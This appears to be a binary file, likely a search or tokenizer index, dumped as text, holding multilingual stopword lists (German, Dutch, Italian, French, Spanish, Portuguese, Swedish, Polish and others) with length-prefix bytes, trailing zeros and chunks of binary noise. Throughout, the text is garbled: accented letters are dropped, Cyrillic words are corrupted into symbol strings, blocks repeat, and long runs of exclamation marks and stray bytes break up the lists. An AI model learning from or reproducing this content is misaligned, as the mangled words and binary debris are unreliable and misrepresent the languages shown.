"seiseno0

$seisenos0

 sendas0

 sendos0

"septena0

$septenas0

"septeno0

$septenos0

2septingentsima0

4septingentsimas0

2septingentsimo0

4septingentsimos0

,septuagsima0

.septuagsimas0

,septuagsimo0

.septuagsimos0

ser0

"seremos0

ser0

sern0

sers0

ser0

 seris0

sera0

"serais0

$seramos0

 seran0

 seras0

"sesenta0
d>X"d*lB


	>f	F	"		ZxjN>pR4,`@

$^p

*nL(n
J
.

t
\V
0
tH"zT6<
x
rR\6			jH(\:Z:bB$rX:l`J>z0`
UT$K/0
som0
some0
some0
(sommetider0
 stadig0
&stadigvk0
 stedse0
still0
still0
 stille0
stod0
 straks0
str0
such0
such0
s0
sdan0
"sledes0
"slunde0
 smnd0
sre0
$srdeles0
 srlig0
 sonder0
"sondern0
&sonsteine0
(sonsteinem0
(sonsteinen0
(sonsteiner0
(sonsteines0
&sonsteins0
*sonstjemand0
.sonstjemandem0
.sonstjemanden0
.sonstjemandes0
,sonstjemands0
$sonstwas0
*sonstwelche0
,sonstwelchem0
,sonstwelchen0
,sonstwelcher0
,sonstwelches0
$sonstwem0
$sonstwen0
$sonstwer0
sooft0
 sosehr0
soso0
 soviel0
&sovielmal0
 soweit0
"sowenig0
sowie0
 sowohl0
st0
statt0
stop0
stopp0
summ0
&smtliche0
(smtlichem0
(smtlichen0
(smtlicher0
(smtliches0
	some0
	still0
	such0
	some0
	still0
	such0

somos0

son0

soy0

su0

 suelan0

 suelas0

suele0

 suelen0

 sueles0

sus0

suya0

suyas0

suyo0

suyos0
 sommes0
son0
sont0
sous0
soyez0
 soyons0
stop0
suis0
"suivant0
sur0
sono0
sopra0
sotto0
 stante0
stata0
state0
stati0
stato0
 stessa0
 stesse0
 stessi0
 stesso0
su0
sua0
sue0
sugli0
sui0
sul0
sulla0
sulle0
sullo0
suo0
suoi0
 suvvia0
s0
some0
still0
such0
some0
still0
such0
soms0
$somtijds0
sorry0
"sowieso0
.speelsgewijze0
2spiraalsgewijze0
*spoedshalve0
(spoorslags0
,staandevoets0
(staatswege0
$staccato0
&stapvoets0
&starnakel0
"stavast0
.steelsgewijze0
(stiekemweg0
&stierlijk0
(stilletjes0
&stommetje0
0stormenderhand0
$stoutweg0
0straalsgewijze0
$strakjes0
 straks0
,strijkelings0
$stroomaf0
$stroomop0
sub0
 subiet0
spoza0
 sprzed0
spod0
swj0
"swojego0
"swojemu0
swym0
swoi0
swych0
swymi0
swoja0
 swojej0
swoj0
swoje0
so0
somos0
sou0
sua0
suas0
so0
sua0
suas0
som0
 somlig0
"somliga0
"somligt0
svejs0
s0
sdan0
 sdana0
 sdant0
"sframt0
ssom0
 svida0
 svitt0
svl0
some0
still0
such0
sonra0
su0
suta0
 tandis0
tant0
$taratata0
 tayaut0
 taaut0
te0
tel0
telle0
 telles0
tels0
tes0
tien0
 tienne0
"tiennes0
tiens0
t0
sono0
sopra0
sotto0
 stante0
stata0
state0
stati0
stato0
 stessa0
 stesse0
 stessi0
 stesso0
su0
sua0
sue0
sugli0
sui0
sul0
sulla0
sulle0
sullo0
suo0
suoi0
 suvvia0
s0
s0
s0
some0
still0
such0
som4bB"bDl,pJ`
B~&N4


\.j:P2

f
F
&
J		0dJ


^.
|,	^h	@f>


f
 H
*

~V*nPx	V^>08zV2X4~T.hvF&	r	R,
	Lf	z`
@U#KZ{0
vist0
"vistnok0
voll0
 voller0

viva0
$vivement0
vlan0
voici0
voil0
viva0
 voglia0
$vogliamo0
$vogliano0
$vogliate0
 voglio0
$vogliono0
voi0
$voialtre0
$voialtri0
"volemmo0
"volendo0
"volente0
"volenti0
 volere0
"volesse0
&volessero0
"volessi0
&volessimo0
"voleste0
"volesti0
 volete0
 voleva0
$volevamo0
$volevano0
$volevate0
 volevi0
 volevo0
volle0
"vollero0
volli0
 voluta0
 volute0
 voluti0
 voluto0
vista0
 vivace0
vivat0
 vlakaf0
"vlakbij0
"vlakuit0
"vlotweg0
*vluchtigjes0
&volgaarne0
"volgens0
8volledigheidshalve0
volop0
 voluit0
voc0
vocs0
vo-la0
 vo-las0
vo-lo0
 vo-los0
vongleich0
&wennschon0
wer0
wes0
"weshalb0
 wessen0
$westlich0
$weswegen0
wider0
wie0
"wiefern0
"wiesehr0
wieso0
"wieviel0
,wievielerlei0
(wievielmal0
"wieweit0
"wiewohl0
will0
 willen0
 willst0
wir0
wist0
wo0
wobei0
 wodran0
"wodrauf0
"wodurch0
 wofern0
wofr0
"wogegen0
woher0
"woherum0
wohin0
$wohinauf0
$wohinaus0
$wohinein0
(wohingegen0
(wohinunter0
wohl0
wolle0
 wollen0
"wollend0
"wollest0
 wollet0
wollt0
 wollte0
"wollten0
$wolltest0
"wolltet0
womit0
	want0
	was0
	way0
	we0
	well0
	were0
	what0
	when0
	where0
	which0
	while0
	who0
	will0
	with0
	w0
	want0
	was0
	way0
	we0
	well0
	were0
	what0
	when0
	where0
	which0
	while0
	who0
	will0
	with0

viva0

vos0

$vosotras0

$vosotros0

vra.0

vras.0

vro.0

vros.0

vtra.0

 vtras.0

vtro.0

 vtros.0

"vuestra0

$vuestras0

"vuestro0

$vuestros0

va0
w0
$vivement0
vlan0
voici0
voil0
vos0
votre0
 voudra0
"voudrai0
(voudraient0
$voudrais0
$voudrait0
"voudras0
"voudrez0
$voudriez0
&voudrions0
$voudrons0
$voudront0
&voulaient0
"voulais0
"voulait0
"voulant0
$voulante0
&voulantes0
$voulants0
 voulez0
"vouliez0
$voulions0
"vouloir0
"voulons0
voulu0
 voulue0
"voulues0
&voulurent0
 voulus0
(voulussent0
 voulut0
 voult0
vous0
vs0
vu0
vtre0
 vtres0
w0
viva0
 voglia0
$vogliamo0
$vogliano0
$vogliate0
 voglio0
$vogliono0
voi0
$voialtre0
$voialtri0
"volemmo0
"volendo0
"volente0
"volenti0
 volere0
"volesse0
&volessero0
"volessi0
&volessimo0
"voleste0
"volesti0
 volete0
 voleva0
$volevamo0
$volevano0
$volevate0
 volevi0
 volevo0
volle0
"vollero0
volli0
 voluta0
 volute0
 voluti0
 voluto0
vista0
 vivace0
vivat0
 vlakaf0
"vlakbij0
"vlakuit0
"vlotweg0
*vluchtigjhFZ(8|\<hH&T6x^:fH(
bD$r|`
UK=0
0
h0
0
n0
t0
0
 verst0
"stlich0
ber0
"beraus0

l0

 ramos0

sa0

sas0

se0

sos0

sta0

stas0

ste0

stos0
'a0
 'aura0
$'aurait0
"'avait0
a0
0
s0
"taient0
tais0
tait0
tant0
 tante0
"tantes0
 tants0
tiez0
 tions0
voh0
vo0
tes0
tre0
0
t0
0
n0
(n-op-n0
&berhaupt0
|aden0
"|adnego0
"|adnemu0
 |adnym0
|adni0
"|adnych0
"|adnymi0
|adna0
 |adnej0
|adn0
|adne0
0
 ramos0
reis0
s0
amos0
eis0
"ctuplo0
0
00
0-;O0
01K0
02>AL0
0300
"030-0300
03C0
060
090
09-090
$09-09-090
09400
0;80
0;;>0
0;L0
0=0
0BC0
"0BL-4200
0C0
0E0
0E>2>0
0EB80
10
100
*108=L:8-10N0
"109-1090
10E0
10F0
"10N-1090
(10NH:8-10N0
1570
157>0
(157CA;>2=>0
15@5<0
15@5B0
 15@5B50
 15@5HL0
15@80
 15@8B50
15@C0
15@CB0
"15@CI0O0
$15@CI53>0
"15@CI550
"15@CI590
"15@CI5<0
$15@CI5<C0
"15@CI5N0
"15@CI850
"15@CI890
"15@CI8<0
$15@CI8<80
"15@CI8E0
"15@CICN0
15@O0
18A0
18HL0
&1;03>40@O0
1;8650
1;870
 1;87:00
"1;87:0O0
0
nej0
t0
tta0
(ttahundra0
&ttatusen0
ttio0
(ttioandra0
(ttioandre0
"ttioen0
$ttioett0
$ttiofem0
(ttiofemte0
*ttiofjrde0
&ttiofyra0
*ttiofrsta0
*ttiofrste0
$ttionde0
$ttionio0
*ttionionde0
$ttiosex0
*ttiosjette0
$ttiosju0
*ttiosjunde0
$ttiotre0
*ttiotredje0
$ttiotv0
&ttiotta0
,ttiottonde0
"ttonde0
.g.0
.h.0
.h.t0
ver0
0
are0
nk0
0
10
0
nce0
yle0
_0
_ey0
_u0
0
"stelik0
st0
s0
n0
ntr0
_i0
0
1@0=00
"1@0==0O0
$1@0==>3>0
"1@0==>50
"1@0==>90
"1@0==><0
$1@0==><C0
"1@0==>N0
"1@0==CN0
"1@0==K50
"1@0==K90
"1@0==K<0
$1@0==K<80
"1@0==KE0
1@0=>0
1@0=K0
1@0BL0
1@@0
1@K:0
1@KAL0
1@O:0
1C450
1C45<0
1C45B0
 1C45B50
 1C45HL0
$1C4=8G=>0
1C4B>0
1C4C0
1C4CB0
 1C4CG80
"1C4CI0O0
$1C4CI53>0
"1C4CI550
"1C4CI590
"1C4CI5<0
$1C4CI5<C0
"1C4CI5N0
"1C4CI850
"1C4CI890
"1C4CI8<0
$1C4CI8<80
"1C4CI8E0
"1C4CICN0
1C4L0
 1C4LB50
&1C:20;L=>0
 1C;BKE0
&1C;L-1C;L0
1C;L:0
1C<0
1CE0
1K0
1K20
1K2020
$1K202H0O0
&1K202H53>0
$1K202H550
$1K202H590
$1K202H5<0
&1K202H5<C0
$1K202H5N0
"1K202H80
$1K202H850
$1K202H890
0
nej0
t0
tta0
(ttahundra0x\B&


z
X
6

fH,tL0



v
L
4


				x	`	F	*		hF,H&j>("`H,
jfTnVnP8fF(lJdH*8>j2
DV2rH^<dL0v`
7UFW70
8zweiundsechzigster0
8zweiundsechzigstes0
0zweiundsiebzig0
6zweiundsiebzigste0
8zweiundsiebzigstem0
8zweiundsiebzigsten0
8zweiundsiebzigster0
8zweiundsiebzigstes0
0zweiundvierzig0
6zweiundvierzigste0
8zweiundvierzigstem0
8zweiundvierzigsten0
8zweiundvierzigster0
8zweiundvierzigstes0
0zweiundzwanzig0
6zweiundzwanzigste0
8zweiundzwanzigstem0
8zweiundzwanzigsten0
8zweiundzwanzigster0
8zweiundzwanzigstes0
$zwischen0
zwo0
zwote0
 zwotem0
 zwoten0
 zwoter0
 zwotes0
zwlf0
(zwlferlei0
"zwlfte0
$zwlftem0
$zwlften0
$zwlfter0
$zwlftes0
h0
ks0
tsch0
$usserst0
"uerst0
0
0
zza0
0
 quela0
"quelas0
 quele0
"queles0
 quilo0
s0
0
s0
n0
r0
sch0
"vensom!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!jRv:h$R"8R.
~^>j2\$|Fn6`
UJvA0
 drfen0
"drfend0
"drfest0
 drfet0
drft0
 drfte0
"drften0
$drftest0
"drftet0
e0
e0
e0
e0
each0
each0
eben0
"ebendas0
,ebendasselbe0
"ebendem0
.ebendemselben0
"ebenden0
.ebendenselben0
"ebender0
,ebenderselbe0
.ebenderselben0
.ebendesselben0
(ebendessen0
"ebendie0
&ebendiese0
,ebendieselbe0
.ebendieselben0
(ebendiesem0
(ebendiesen0
(ebendieser0
(ebendieses0
$ebenjene0
&ebenjenem0
&ebenjenen0
&ebenjener0
&ebenjenes0
&ebensolch0
(ebensoviel0
*ebensowenig0
efter0
*efterhnden0
egen0
eh0
eh'0
ehe0
ei0
eia0
&eiapopeia0
ein0
eine0
einem0
einen0
einer0
eines0
$eingangs0
&eingedenk0
 einige0
"einigem0
"einigen0
"einiger0
"einiges0
eins0
2einschliesslich0
0einschlielich0
.einundachtzig0
4einundachtzigste0
6einundachtzigstem0
6einundachtzigsten0
6einundachtzigster0
6einundachtzigstes0
.einunddreiig0
4einunddreiigste0
6einunddreiigstem0
6einunddreiigsten0
6einunddreiigster0
6einunddreiigstes0
.einundfnfzig0
4einundfnfzigste0
6einundfnfzigstem0
6einundfnfzigsten0
6einundfnfzigster0
6einundfnfzigstes0
.einundneunzig0
4einundneunzigste0
6einundneunzigstem0
6einundneunzigsten0
6einundneunzigster0
6einundneunzigstes0
.einundsechzig0
4einundsechzigste0
6einundsechzigstem0
6einundsechzigsten0
6einundsechzigster0
	each0
	e0
	each0

e0

ea0

eh0
e0
eh0
e0
ebbe0
 ebbene0
 ebbero0
ebbi0
"eccetto0
ecco0
 eccoci0
 eccola0
 eccole0
 eccoli0
 eccolo0
 eccome0
 eccomi0
 eccone0
 eccoti0
 eccovi0
ecc0
ed0
egli0
eh0
ehi0
ehil0
ehm0
eia0
e0
each0
each0
e0
e0
 echter0
edoch0
een0
"eenhoog0
"eenmaal0
eens0
&eensdeels0
&eensklaps0
 eentje0
:eenvoudigheidshalve0
,eenvoudigweg0
&eenzelfde0
.eerbiedshalve0
$eerdaags0
*eergisteren0
"eerlang0
6eerlijkheidshalve0
&eershalve0
(eerstdaags0
$eerstens0
$eertijds0
&effentjes0
e0
e0
,efetivamente0
e0
e0
e0
eder0
edert0
edra0
efter0
$eftersom0
ehuru0
each0
e0
e0
ei!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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your0
z0
z0
z0
z0
zack0
zehn0
&zehnerlei0
 zehnte0
"zehntem0
"zehnten0
"zehnter0
"zehntes0
zeit0
	would0
	you0
	your0
	x0
	y0
	z0
	would0
	you0
	your0

y0

ya0

yo0

zape0

zas0
x0
z0
y0
x0
y0
z0
x0
y0
z0
would0
you0
your0
would0
you0
your0
x0
y0
z0
x0
y0
z0
&wonderwel0
z'n0
$zachtjes0
*zachtjesaan0
ze0
&zeewaarts0
2zekerheidshalve0
 zelden0
zelf0
zelfs0
zelve0
zes0
(zeshonderd0
"zesmaal0
&zestigste0
zeven0
*zeventigste0
zich0
$zichzelf0
"ziedaar0
&zielsveel0
*zienderogen0
ziezo0
 zigzag0
0zigzagsgewijze0
zij0
zijd0
zijn0
zijne0
 zijnen0
,zijnenthalve0
*zijnentwege0
z0
za0
x0
y0
wy0
x0
y0
z0
x0
y0
z0
x0
y0
z0
&yttermera0
would0
you0
your0
x0
y0
z0
x0
y0
ya0
yahut0
yan10
yeter0
yok0
yoksa0
yoo0
z0
za0
'yra0
zx0
z0
y0
zut0
x0
y0
z0
zitto0
x0
y0
z0
would0
you0
your0
would0
you0
your0
x0
y0
z0
x0
y0
z0
&wonderwel0
z'n0
$zachtjes0
*zachtjesaan0
ze0
&zeewaarts0
2zekerheidshalve0
 zelden0
zelf0
zelfs0
zelve0
zes0
(zeshonderd0
"zesmaal0
&zestigste0
zeven0
*zeventigste0
zich0
$zichzelf0
"ziedaar0
&zielsveel0
*zienderogen0
ziezo0
 zigzag0
0zigzagsgewijze0
zij0
zijd0
zijn0
zijne0
 zijnen0
,zijnenthalve0
*zijnentwege0
,zijnentwille0
*zijnerzijds0
zo0
zo'n0
zoal0
zoals0
"zodanig0
zodat0
$zodoende0
zodra0
"zoetjes0
 zogoed0
"zohaast0
 zoiets0
"zojuist0
 zolang0
 zomaar0
 zomede0
zomin0
 zonder0
zonet0
zopas0
 zoveel0
zover0
"zoverre0
 zowaar0
zowat0
zowel0
 zozeer0
 zoven0
zuid0
$zuidoost0
$zuidwest0
,zuidzuidoost0
,zuidzuidwest0
4zuinigheidshalve0
&zuinigjes0
zulk0
zulke0
zulks0
"zwakjes0
z0
za0
znad0
x0
y0
wy0
x0
y0
z0
x0
y0
z0
x0
y0
z0
&yttermera0
would0
you0
your0
x0


l
N
2

d>nL$




`
 xR6:
"
l		
	
~	R<	tx
Zp^VrTT68<&j &h	<
&	TR	&	jL.<x\@"<@hdF&	`
Un,K_0
(irgendeine0
*irgendeinem0
*irgendeinen0
*irgendeiner0
*irgendeines0
(irgendeins0
,irgendjemand0
0irgendjemandem0
0irgendjemanden0
0irgendjemandes0
.irgendjemands0
&irgendwas0
,irgendwelche0
.irgendwelchem0
.irgendwelchen0
.irgendwelcher0
.irgendwelches0
&irgendwem0
&irgendwen0
&irgendwer0
is0
	is0
is0
	is0
ist0
isr0
it0
	it0
it0
	it0
	its0
	its0
j0
j0
j0
j0
	j0
ja0
ja0
jaja0
jamen0
jas0
 javist0
 jawohl0
je0
jede0
jedem0
jeden0
jeder0
&jedermann0
(jedermanns0
jedes0
 jedoch0
"jedwede0
$jedwedem0
$jedweden0
$jedweder0
$jedwedes0
jeg0
$jegliche0
&jeglichem0
&jeglichen0
&jeglicher0
&jegliches0
 jemand0
$jemandem0
$jemanden0
$jemandes0
"jemands0
jene0
jenem0
jenen0
jener0
jenes0
$jenseits0
jer0
jeres0
jert0
jo0
 jovist0
 juchhe0
"juchhei0
*juchheirasa0
0juchheirassasa0
&juchheisa0
(juchheissa0
&juchheia0
juhe0
juhu0
	just0
k0
k0
k0
k0
	k0
kan0
kann0
 kannst0
kein0
keine0
 keinem0
 keinen0
 keiner0
&keinerlei0
 keines0
keins0
$kikeriki0
klack0
 klacks0
klapp0
klick0
(klingeling0
2klingelingeling0
&klingling0
klirr0
knack0
 knacks0
	just0

ja0

jams0

je0

ji0

jo0
j0
k0
(jarnicoton0
je0
 jusque0
j0
k0
j0
k0
is0
it0
is0
it0
its0
just0
j0
k0
j0
k0
ja0
 jasses0
jawel0
"jazeker0
je0
 jegens0
jelui0
 jezelf0
jij0
"jijzelf0
*jongstleden0
jou0
jouw0
jouwe0
 jouwen0
 jullie0
$kalmpjes0
"kassian0
$kiekeboe0
*kiele-kiele0
0kiesheidshalve0
klats0
$klikklak0
$klipklap0
jakby0
jak0
kiedy0
j0
k0
 jestem0
 jeste[0
jest0
jaki0
"jakiego0
"jakiemu0
jakim0
jacy0
 jakich0
 jakimi0
jaka0
 jakiej0
jak0
jakie0
ja0
jego0
jemu0
je0
ir0
iro0
irs0
iria0
iriam0
"iramos0
irias0
 ireis0
irmos0
isso0
isto0
j0
 jamais0
junto0
justo0
isso0
isto0
j0
j0
k0
j0
k0
j0
k0
jag0
jaha0
jamen0
jas0
"javisst0
jo0
jod0
"jovisst0
kas0
is0
it0
j0
k0
j0
k0
kadar0
kald10
ki0
kim0
kimde0
 kimden0
kime0
kimin0
je0
!itu0
!juga0
!ke0
'jis0
'ji0
>itu0
>juga0
je0
k0
je0
$k0
$je!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0tVh8
@$
8

r
R
2

xlVrb6D:@*zhPHVrL



dF*x
Pp\
>
$

				l	0J	&		lrL&L|X6nP4,Z^L4>^B$fF*lnVR@*L $vdv.lT86n0~dPrLhBX0`
%U>xG7O0
come0
	come0
come0
	come0
come0
come0
 comea0
$comeada0
&comeadas0
$comeado0
&comeados0
"comeai0
$comeais0
"comeam0
&comeamos0
&comeando0
"comear0
$comeara0
&comearam0
&comearas0
(comeardes0
&comearei0
(comeareis0
&comearem0
*comearemos0
&comeares0
&comearia0
(comeariam0
(comearias0
(comearmos0
 comece0
"comecei0
$comeceis0
"comecem0
&comecemos0
"comeces0
come"darnach0
$darneben0
darob0
darum0
$darunter0
"darber0
das0
&dasjenige0
dass0
$dasselbe0

como0

con0

"conmigo0

 conque0

"consigo0

"contigo0

 contra0

,cuadragsima0

.cuadragsimas0

,cuadragsimo0

.cuadragsimos0

4cuadringentsima0

6cuadringentsimas0

4cuadringentsimo0

6cuadringentsimos0

cual0

 cuales0

,cualesquiera0

&cualquier0

(cualquiera0

 cuando0

 cuanta0

"cuantas0

 cuanto0

"cuantos0

$cuarenta0

 cuarta0

"cuartas0

 cuarto0

"cuartos0

(cuatrilln0

 cuatro0

.cuatrocientos0

cuya0

cuyas0

cuyo0

cuyos0

cul0

 cules0

 cundo0

 cunta0

"cuntas0

 cunto0

"cuntos0

"cspita0

cmo0

&crcholis0

daca0
d0
comme0
"comment0
(concernant0
 contre0
"corbleu0
 coucou0
couic0
crac0
cric0
 crnom0
da0
dame0
&damnation0
dans0
d0
come0
con0
 contro0
(corbezzoli0
&cos'altro0
cosa0
$cosicch0
 costei0
"costoro0
 costui0
 cotale0
 cotali0
crac0
cric0
cui0
da0
 dacch0
dagli0
dai0
dal0
dalla0
dalle0
dallo0
d0
come0
could0
could0
d0
d0
comme0
con0
 contra0
cote0
&crescendo0
da0
daar0
"daaraan0
(daaraantoe0
(daarachter0
*daarbeneden0
,daarbenevens0
"daarbij0
(daarbinnen0
&daarboven0
(daarbuiten0
$daardoor0
*daarenboven0
*daarentegen0
$daareven0
&daarginds0
$daarheen0
 daarin0
&daarlangs0
$daarmede0
"daarmee0
 daarna0
$daarnaar0
&daarnaast0
"daarnet0
(daarnevens0
 daarom0
(daaromheen0
.daaromstreeks0
*daaromtrent0
&daaronder0
 daarop0
$daarover0
&daartegen0
.daartegenover0
"daartoe0
(daartussen0
"daaruit0
"daarvan0
*daarvandaan0
$daarvoor0
 daarzo0
dan0
"dankzij0
d0
czyj0
"czyjego0
"czyjemu0
czyim0
czyi0
 czyich0
 czyimi0
czyja0
 czyjej0
czyj0
czyje0
c0
$cntuplo0
 comea0
$comeada0
&comeadas0
$comeado0
&comeados0
"comeai0
$comeais0
"comeam0
&comeamos0
&comeando0
"comear0
$comeara0
$comear0
&comearam0
*comeramos0
&comearo0
&comearas0
&comears0
(comeardes0
&comearei0
(comeareis0
&comearem0
*comearemos0
&comeares0
&comearia0
(comeariam0
(comearias0
(comearmos0
 comece0
"comecei0
$comeceisNd<xP*pJ$rL(:\|`
U
J0
deine0
 deinem0
 deinen0
 deiner0
 deines0
"deinige0
$deinigen0
deins0
dels0
dem0
dem0
(demjenigen0
&demselben0
*demselbigen0
den0
den0
denen0
(denjenigen0
"denkste0
denn0
denne0
dens0
&denselben0
*denselbigen0
der0
der0
deraf0
$derefter0
deren0
derer0
deres0
 derfor0
 derfra0
*dergleichen0
 derhen0
"derimod0
&derjenige0
(derjenigen0
 derlei0
 dermed0
"dernst0
derom0
"derover0
derp0
$derselbe0
&derselben0
(derselbige0
*derselbigen0
$dersteds0
 dertil0
 derved0
"derweil0
&derweilen0
des0
(desjenigen0
&desselben0
*desselbigen0
 dessen0
desto0
"desuden0
$desvrre0
det0
dets0

&demasiada0

(demasiadas0

&demasiado0

(demasiados0

dems0

desde0

"despus0
 depuis0
$derrire0
des0
$desdites0
"desdits0
(desquelles0
$desquels0
del0
della0
delle0
dello0
 dentro0
&denkelijk0
der0
$derhalve0
"dermate0
&derwaarts0
$derwijze0
des0
0desalniettemin0
(desgelijks0
,desgevorderd0
*desgevraagd0
(desgewenst0
:desniettegenstaande0
,desniettemin0
$desnoods0
(desondanks0
$destijds0
"deswege0
dela0
delas0
dele0
deles0
 demais0
&demasiado0
 dentre0
 dentro0
 depois0
$depressa0
$derredor0
desde0
dessa0
 dessas0
desse0
 desses0
desta0
$destarte0
 destas0
deste0
 destes0
 detrs0
 depois0
desde0
desta0
deste0
dels0
dem0
den0
denna0
 dennas0
denne0
 dennes0
$densamma0
$densamme0
&densammes0
deras0
"desamma0
dess0
dessa0
 dessas0
det0
$detsamma0
detta0
 dettas0
demek0
 denden0
der0
del0
dels0
den0
detdello0
 dentro0
deva0
deve0
devi0
devo0
 devono0
di0
"diamine0
(diciannove0
0diciannovemila0
0diciannovesimo0
*diciassette0
2diciassettemila0
2diciassettesimo0
,diciottesimo0
$diciotto0
,diciottomila0
dieci0
&diecimila0
 dietro0
"difatti0
did0
did0
&denkelijk0
der0
$derhalve0
"dermate0
&derwaarts0
$derwijze0
des0
0desalniettemin0
(desgelijks0
,desgevorderd0
*desgevraagd0
(desgewenst0
:desniettegenstaande0
,desniettemin0
$desnoods0
(desondanks0
$destijds0
"deswege0
deze0
$dezelfde0
&dezelfden0
dezen0
dezer0
(dezerzijds0
dezes0
$dichtbij0
die0
"diegene0
.dienaangaande0
8dienovereenkomstig0
diens0
,diensvolgens0
0dientengevolge0
*dienvolgens0
dies0
&diezelfde0
(diezelfden0
dela0
delas0
dele0
deles0
 demais0
&demasiado0
 dentre0
 dentro0
 depois0
$depressa0
$derredor0
desde0
dessa0
 dessas0
desse0
 desses0
&n\T
0z
<~^@pP
(
b	R
.

XvJ"
	D	"N	>h@	vVl6H|\<0.l	|
zB
dF|^d,D*&	FT4~b





t
D ~`
U.Jf(f
0
et0
"etliche0
$etlichem0
$etlichen0
$etlicher0
$etliches0
"etsteds0
etwa0
etwas0
$etwelche0
&etwelchem0
&etwelchen0
&etwelcher0
&etwelches0
euch0
euer0
euere0
 euerem0
 eueren0
 euerer0
 eueres0
euerm0
euern0
euers0
.euersgleichen0
eure0
eurem0
euren0
eurer0
eures0
.euresgleichen0
 eurige0
"eurigen0
exkl.0
&exklusive0
f0
f0
f0
f0
	f0
f.0
"faktisk0
falls0
"fandtes0
fast0
fern0

"excepto0

extra0
f0
et0
eu0
eue0
eues0
euh0
 eurent0
 eurka0
eus0
eusse0
"eussent0
 eusses0
"eussiez0
$eussions0
eut0
eux0
"except0
emes0
et0
etes0
fi0
f0
 eureka0
 evviva0
f0
f0
f0
$etcetera0
 eureka0
"evenals0
$eveneens0
"evenmin0
$eventjes0
$evenveel0
"evenwel0
$evenzeer0
 evenzo0
ex0
(ex-tempore0
&excelsior0
"extenso0
extra0
"famille0
.fatsoenshalve0
f0
eu0
.eventualmente0
(excelncia0
*excelncias0
0excelentssima0
2excelentssimas0
0excelentssimo0
2excelentssimos0
0excessivamente0
 exceto0
,extremamente0
faa0
 faais0
faam0
"faamos0
faas0
fao0
far0
faro0
fars0
farei0
 fareis0
"faremos0
faria0
 fariam0
$faramos0
 farias0
"fareis0
faz0
faze0
fazei0
 fazeis0
fazem0
"fazemos0
"fazendo0
fazer0
$fazerdes0
"fazerem0
"fazeres0
$fazermos0
fazes0
fazia0
 faziam0
$fazamos0
 fazias0
"fazeis0
feita0
 feitas0
feito0
 feitos0
fez0
fica0
 ficada0
"ficadas0
 ficado0
"ficados0
ficai0
 ficais0
ficam0
"ficamos0
"ficando0
ficar0
 ficara0
 ficar0
"ficaram0
"ficaro0
"ficaras0
"ficars0
$ficardes0
"ficarei0
$ficareis0
"ficarem0
&ficaremos0
"ficares0
"ficaria0
$ficariam0
(ficaramos0
$ficarias0
&ficareis0
$ficarmos0
ficas0
"ficasse0
$ficassem0
$ficasses0
"ficaste0
$ficastes0
 ficava0
"ficavam0
"ficavas0
eu0
f0
fazer0
fez0
f0
f0
ett0
&ett?tusen0
0etthundratusen0
"ettusen0
exkl.0
&exklusive0
f.0
 f.o.m.0
fast0
 fastn0
fem0
&femhundra0
femte0
 femtio0
*femtioandra0
*femtioandre0
$femtioen0
&femtioett0
&femtiofem0
*femtiofemte0
,femtiofjrde0
(femtiofyra0
,femtiofrsta0
,femtiofrste0
&femtionde0
&femtionio0
,femtionionde0
&femtiosex0
,femtiosjette0
&femtiosju0
,femtiosjunde0
&femtiotre0
,femtiotredje0
&femtiotv0
(femtiotta0
.femtiottonde0
 femton0
$femtonde0
$femtusen0
f0
evet0
f0
fakat0
etH&xV8"f~\:D^@ ~bHhHzN(^2b<`F(




x
fF(
~`>\&
h$Jh.H:nV@*$	H	lR4L
*
,

h8

t
P
.


			~	xV8b4^	rT6z^BjvhLl<*x:	^`
UH0
nahe0
 nahezu0
 namens0
nanu0
